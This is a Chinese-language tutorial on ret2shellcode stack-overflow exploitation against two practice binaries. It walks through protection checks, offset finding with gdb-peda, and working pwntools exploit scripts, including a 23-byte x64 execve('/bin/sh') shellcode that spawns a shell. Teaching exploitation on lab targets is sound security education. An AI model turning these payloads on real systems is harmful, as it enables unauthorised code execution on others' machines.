<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ret2shellcode

    ret2shellcode,即控制程序執行 ( ret to ) shellcode代碼。我們之間講解棧溢出原理的例子實際上就是re2shellcode。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執行的代碼

    在棧溢出的基礎上,要想執行 shellcode,需要對應的 binary 在運行時,shellcode 所在的區域具有可執行權限。

    例題1

    鏈接: https://pan.baidu.com/s/1ofMYY7hrIeGtamtPZjuA5w 密碼: g9ui
    查看一下程序的保護
    ret2shellcode
    可以看出源程序幾乎沒有開啟任何保護,并且有RWX可讀,可寫,可執行段。
    直接放到IDA下分析

    ret2shellcode
    gets()獲得輸入數據,存在溢出的同時還將字符串復制到buf2處。查看buf2所在的段地址

    ret2shellcode
    開啟gdb調試程序,在main函數處下斷點b main,跑起來之后通過vmmap命令查看各個段的權限

    ret2shellcode
    buf2所在的段具有x可執行權限。那么就意味著我們可以將shellcode通過strncpy函數放進bu這個區域,在觸發溢出后將返回地址指向buf2這里即可拿到shell。
    接下來就是確定返回地址的偏移量了,也就是尋找多少字節能溢出并且剛好能夠覆蓋return address。這里我們通過gdb-peda的pattern_create和pattern_offset來確定偏移量。這是一個生成字符串模板輸入后根據EIP來確定覆蓋return address的長度。

    ret2shellcode
    然后我們讓程序跑起來輸入這段字符串后程序壞掉了

    ret2shellcode
    給我們的提示是0x41384141地址無效
    接下來通過pattern_offset確定這個的偏移量,在我們輸入的數據當中

    ret2shellcode
    可以看到,我們要覆蓋的return address的偏移量相對于棧頂為112個字節。我們最終控制其指向buf2就可以執行我們自己的shellcode了。
    具體的exp如下所示

    #!/usr/bin/env python
    from pwn import *
    
    sh = process('./ret2shellcode')
    
    shellcode = asm(shellcraft.sh())
    buf2_addr = 0x804a080
    
    sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
    sh.interactive()
    

    借助strncpy填入shellcode并控制return address指向他。
    ret2shellcode
    我們成功拿到shell。

    例題2

    鏈接: https://pan.baidu.com/s/16tNugdsLMrrMDRqUvL-ntw 密碼: poj5
    checksec看一下保護機制

    ret2shellcode

    沒有canary, 堆棧可執行,沒有PIE。
    放到IDA下看看

    ret2shellcode

    程序一開始可以直接給我們打印出buf的地址,并且存在棧溢出,不過可填充的長度有限。

    • 0x前綴使它成為十六進制文字。
    • ULL后綴使它鍵入unsigned long long

    我們看這兩行代碼

      __int64 buf; // [sp+0h] [bp-10h]@1
      read(0, &buf, 0x40uLL);

    可以知道buf相對于ebp的偏移為0x10,所以其可用的shellcode空間為0x10+8=24。為什么+8是因為程序是64位的, 要覆蓋的rbp位8個字節,32位的ebp為4字節。
    我們先看看pwntools為我們提供的shellcode的長度有多少
    ret2shellcode
    顯然,我們不能借助pwntool來使用shellcode了。
    這里有一個長度為23的shellcode。但是其本身是有push指令的,會自動更改rsp的值。這時候如果我們把shellcode放在最前面,在程序leave的時候,在執行這些就會被覆蓋。

    # char *const argv[]
    xorl %esi, %esi
    # 'h' 's' '/' '/' 'n' 'i' 'b' '/'
    movq $0x68732f2f6e69622f, %rbx
    # for '\x00'
    pushq %rsi
    pushq %rbx
    pushq %rsp
    # const char *filename
    popq %rdi
    # __NR_execve 59
    pushq $59
    popq %rax
    # char *const envp[]
    xorl %edx, %edx
    syscall
    
    shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

    那么為什么我們不可以將shellcode放在后面呢?當然是可以的
    exp如下

    from pwn import *
    sh = process('./short_shellcode')
    
    # 23 bytes
    shellcode_x64 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
    sh.recvuntil('[')
    buf_addr = sh.recvuntil(']', drop=True)
    buf_addr = int(buf_addr, 16)
    #gdb.attach(sh)
    sh.sendline(b'A'*24 + p64(buf_addr + 32) + shellcode_x64)
    sh.interactive()

    我們獲取到程序返回的buf起始地址并保存,接著填充24個字節0x10(buf的偏移量) + 8(rbp為8字節),然后將return address覆蓋成shellcode起始地址 (填充的buf_addr占8位,所以一共是32為偏移,24+8=32)。最后加上我們的shellcode就可以了。
    ret2shellcode
    成功拿到shell。
    溢出前后的棧空間變化如下所示
    從左到右為低地址到高地址,棧頂到棧底。

    | buf數組空間[bp-0x10]16字節 | 當前函數rbp 8字節 | 返回地址 8字節 | 上個函數棧 |
    | AAAAAAAAAAAAAAAAAAAAA | AAAAAAAA覆蓋 rbp | buf_addr + 32 | shellcode |
    最終返回地址指向我們構造的shellcode

    可以注意到我們呢的exp中都會這樣寫b'A'*n這里因為如果不這樣的話在python3中會報錯,而python2在現在已經不支持了。具體詳情見https://stackoverflow.com/questions/21689365/python-3-typeerror-must-be-str-not-bytes-with-sys-stdout-write

    參考

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类